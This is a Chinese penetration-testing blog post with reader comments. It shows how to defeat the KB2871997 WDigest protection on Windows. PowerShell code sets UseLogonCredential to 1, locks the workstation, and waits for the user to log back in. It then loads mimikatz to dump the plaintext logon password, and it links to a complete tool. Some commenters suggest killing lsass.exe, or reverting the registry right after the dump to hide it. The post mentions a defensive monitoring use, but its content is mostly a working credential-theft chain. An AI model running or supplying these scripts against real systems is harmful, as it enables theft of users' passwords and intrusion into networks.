域渗透——Dump Clear-Text Password after KB2871997 installed

0x00 前言


在渗透测试中,渗透测试人员通常会使用mimikatz从LSA的内存中导出系统的明文口令,而有经验的管理员往往会选择安装补丁kb2871997来限制这种行为。这其中涉及到哪些有趣的细节呢?本文将会一一介绍。

Alt text

图片来自https://pixabay.com/zh/%E5%AF%86%E7%A0%81-%E5%AE%89%E5%85%A8-%E8%BD%AC%E5%82%A8-%E5%86%85%E5%AD%98-%E4%BA%8C%E8%BF%9B%E5%88%B6-%E9%95%9C%E5%A4%B4-%E6%89%8B-%E6%89%8B%E6%8C%87-%E5%8F%8D%E5%B0%84-704252/

0x01 简介


KB2871997:

更新KB2871997补丁后,可禁用Wdigest Auth强制系统的内存不保存明文口令,此时mimikatz和wce均无法获得系统的明文口令。但是其他一些系统服务(如IIS的SSO身份验证)在运行的过程中需要Wdigest Auth开启,所以补丁采取了折中的办法——安装补丁后可选择是否禁用Wdigest Auth。当然,如果启用Wdigest Auth,内存中还是会保存系统的明文口令。

支持系统:

  • Windows 7
  • Windows 8
  • Windows 8.1
  • Windows Server 2008
  • Windows Server 2012
  • Windows Server 2012R 2

配置:

1、下载补丁并安装

下载地址:
https://support.microsoft.com/en-us/kb/2871997

2、配置补丁

下载easy fix并运行,禁用Wdigest Auth

注:
easy fix的操作其实就是改了注册表的键值,所以这里我们可以手动操作注册表来禁用Wdigest Auth

对应的注册表路径为:

HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest

名称为:

UseLogonCredential

类型为:

REG_DWORD

值为:

0

使用批处理的命令为:

#!bash
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f

如图

Alt text

3、重启系统

测试无法导出明文口令

如图

Alt text

0x02 解决方法


需要将UseLogonCredential的值设为1,然后注销当前用户,用户再次登录后使用mimikatz即可导出明文口令。

Nishang中的Invoke-MimikatzWDigestDowngrade集成了这个功能,地址如下:

https://github.com/samratashok/nishang/blob/master/Gather/Invoke-MimikatzWDigestDowngrade.ps1

但是在功能上还无法做到一键操作,于是我对此做了扩展。

0x03 扩展思路


操作流程如下:

  • 修改注册表
  • 锁屏等待用户登录
  • 用户登录后,立即导出明文口令

脚本实现上需要考虑如下问题:

  1. 修改注册表
  2. 锁屏
  3. 进入循环,判断当前系统是否结束锁屏状态
  4. 用户登录后,跳出循环等待,立即导出明文口令并保存

0x04 扩展方法


通过powershell实现

1、修改注册表

键值设为1:

#!bash
Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1

循环判断注册表键值是否为0,如果为1,等待10s再次判断,如果为0,退出循环,可用来监控此注册表键值是否被修改:

#!powershell
$key=Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\" -Name "UseLogonCredential"
$Flag=$key.UseLogonCredential
write-host "[+]Checking Flag"
while($Flag -eq 1)
{
    write-host "[+]Flag Normal"
    write-host "[+]Wait 10 Seconds..."
    Start-Sleep -Seconds 10
    $key=Get-ItemProperty -Path "Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\" -Name "UseLogonCredential"
    $Flag=$key.UseLogonCredential
    write-host "[+]Checking Flag"
}
write-host "[!]Flag Changed!"

如图

Alt text

2、锁屏

锁屏操作的快捷键为Win+L

cmd下命令为:

rundll32.exe user32.dll,LockWorkStation

powershell代码如下:

#!powershell
Function Lock-WorkStation {
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@

$LockWorkStation = Add-Type -memberDefinition $signature -name "Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation

如图

Alt text

3、判断当前系统是否结束锁屏状态

最开始的思路为锁屏会运行某个进程,在结束锁屏状态后会退出某个进程或是在结束锁屏状态后会启动某个进程,于是编写了如下测试代码:

判断进程notepad进程是否存在,如果不存在等待10s再次判断,如果存在,退出循环:

#!powershell
$id=Get-Process | Where-Object {$_.ProcessName.Contains("notepad") }
$Flag=$id.Id+0
write-host "[+]Checking tasklist"
while($Flag -eq 0)
{
    write-host "[-]No notepad.exe"
    write-host "[+]Wait 10 Seconds..."
    Start-Sleep -Seconds 10
    $id=Get-Process | Where-Object {$_.ProcessName.Contains("notepad") }
    $Flag=$id.Id+0
    write-host "[+]Checking tasklist"  
}
write-host "[!]Got notepad.exe!"

但是实际测试效果均不太理想,后来在如下链接找到了解决思路:

http://stackoverflow.com/questions/9563549/what-happens-behind-the-windows-lock-screen

锁屏状态下GetForegroundWindow()的函数返回值为NULL,非锁屏状态下GetForegroundWindow()的函数返回值为一个非零的值。

对于GetForegroundWindow()的函数用法可在如下链接找到参考:

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Exfiltration/Get-Keystrokes.ps1

于是在此基础上实现功能:

循环判断当前是否为锁屏状态,如果不是锁屏状态,退出循环,否则循环等待

#!powershell
function local:Get-DelegateType {
  Param (
    [OutputType([Type])]
  [Parameter( Position = 0)]
  [Type[]]
  $Parameters = (New-Object Type[](0)),
    [Parameter( Position = 1 )]
  [Type]
  $ReturnType = [Void]
  )
    $Domain = [AppDomain]::CurrentDomain
    $DynAssembly = New-Object Reflection.AssemblyName('ReflectedDelegate')
    $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
    $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
    $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
    $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
    $MethodBuilder.SetImplementationFlags('Runtime, Managed')

    $TypeBuilder.CreateType()
}
function local:Get-ProcAddress {
  Param (
    [OutputType([IntPtr])]
  [Parameter( Position = 0, Mandatory = $True )]
  [String]
  $Module,
    [Parameter( Position = 1, Mandatory = $True )]
  [String]
  $Procedure
    )
    $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
  $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
    $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
    $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
    $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
    $tmpPtr = New-Object IntPtr
    $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
    $GetProcAddress.Invoke($null, @([Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
Start-Sleep -Seconds 10
$GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
$GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
$GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
$hWindow = $GetForegroundWindow.Invoke()


write-host "[+]Checking Flag"
while($hWindow -eq 0)
{
  write-host "[+]LockScreen"
  write-host "[+]Wait 10 Seconds..."
  Start-Sleep -Seconds 10
  $GetForegroundWindowAddr = Get-ProcAddress user32.dll GetForegroundWindow
  $GetForegroundWindowDelegate = Get-DelegateType @() ([IntPtr])
  $GetForegroundWindow = [Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetForegroundWindowAddr, $GetForegroundWindowDelegate)
  $hWindow = $GetForegroundWindow.Invoke()
  write-host "[+]Checking Flag"

}
write-host "[!]Got Screen!"

为方便演示,上面的脚本添加了等待10s后再判断的功能,如图

Alt text

4、用户登录后,跳出循环等待,立即导出明文口令并保存

导出口令的功能参考如下代码

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1

通过powershell加载mimikatz导出明文口令,添加了保存、判断、循环等细节,整合文中的功能,完整的代码已上传至github,地址为:

https://github.com/3gstudent/Dump-Clear-Password-after-KB2871997-installed

完整演示如图

Alt text

0x05 小结


本文对加载mimikatz导明文口令的powershell脚本做了扩充,添加了如下功能:

  • 修改注册表键值,启用Wdigest Auth
  • 自动锁屏,等待用户重新登录
  • 判断当前锁屏状态,用户解锁登录后立即导出明文口令

同时也通过powershell实现了监控并记录对注册表键值的修改,可用作防御

0x06 补充


https://github.com/l3m0n/pentest_study

见上面的链接,l3m0n对渗透测试的整理很是细心,是个很好的学习资料。另外在其github上hash抓取这一章中的win8+win2012明文抓取描述为测试失败,希望本文对你(@l3m0n)有用

更多学习资料:

https://blogs.technet.microsoft.com/kfalde/2014/11/01/kb2871997-and-wdigest-part-1/

©乌云知识库版权所有 未经许可 禁止转载


30
msmsms 2016-06-20 21:01:29

学习了

30
Mark 2016-06-16 11:33:08

30
三好学生 2016-06-15 14:44:47

@cpu 如果kill了lsass.exe进程,会立即弹框,提示windows已遇到关键问题,将在一分钟后自动重新启动.测试系统:server2008 R2x64。不知道你说的是哪种kill方法

30
cpu 2016-06-15 14:37:35

说的这么详细,在渗透2003和2008的时候,试试把lsass.exe进程kill了,然后等它自己恢复进程,直接用mimikatz读取,国外的试了是科哦以滴

30
L3m0n 2016-06-15 14:29:50

非常有用啊,当时测试也是一脸懵比,现在感觉清晰了许多,感谢师傅!

30
xxxx 2016-06-15 12:06:36

https://www.trustedsec.com/april-2015/dumping-wdigest-creds-with-meterpreter-mimikatzkiwi-in-windows-8-1/ 不解释

30
三好学生 2016-06-15 11:58:07

@fuck 立即抓完了再把注册表改回去啊~

30
三好学生 2016-06-15 11:44:10

@Hogns 我的理解是在修改注册表后,只有用户重新输入密码登录后,才能抓到明文。锁屏、注销、重启等操作都是为了让用户重新输入密码进行登录,当然,如果锁屏后用户一直不登录的话,也是抓不到明文的。

30
fuck 2016-06-15 11:32:04

@三好学生 立即抓和后来抓有什么不一样么,我记得这个补丁是针对win8及(windows server 2012)以下版本的,win8.1(windows server 2012r2)以上不用这个补丁本来就默认不存储明文了。win7即使安装了这个补丁,默认还是存储在内存里面,只是多了一个这个注册表选项可以设置不存储,你实验已经说明了。以前我测试的时候,更改注册表后我重启机器,原来锁屏也可以的。你分享下那段代码还有什么用途。

30
Hogns 2016-06-15 11:27:36

1.一般注册表是注销后(非重启)重新登陆才会生效的,没想到锁屏也生效。。
2.修改注册表后,用户仍需在connect或disconnect状态(锁屏,或直接关3389窗口)才能抓到明文,如果是正常的logoff了还是抓不到的吧?

30
三好学生 2016-06-15 11:27:06

@Her0in 标题已经更正了~

30
Her0in 2016-06-15 11:26:04

@三好学生 @0xCCCC 准确的讲应该是 Clear-Text Passwords

30
DNS 2016-06-15 11:22:33

叼叼的

30
三好学生 2016-06-15 11:19:34

@0xCCCC plain text=clear-text?

30
0xCCCC 2016-06-15 11:15:32

“明文”应该是 plain 而不是 clear.

30
三好学生 2016-06-15 11:13:55

@fuck 锁屏+判断的那段代码还有更多用途~

30
fuck 2016-06-15 11:05:22

我以为要重启才能生效,锁屏就可以么,那更加方便了

感谢知乎授权页面模版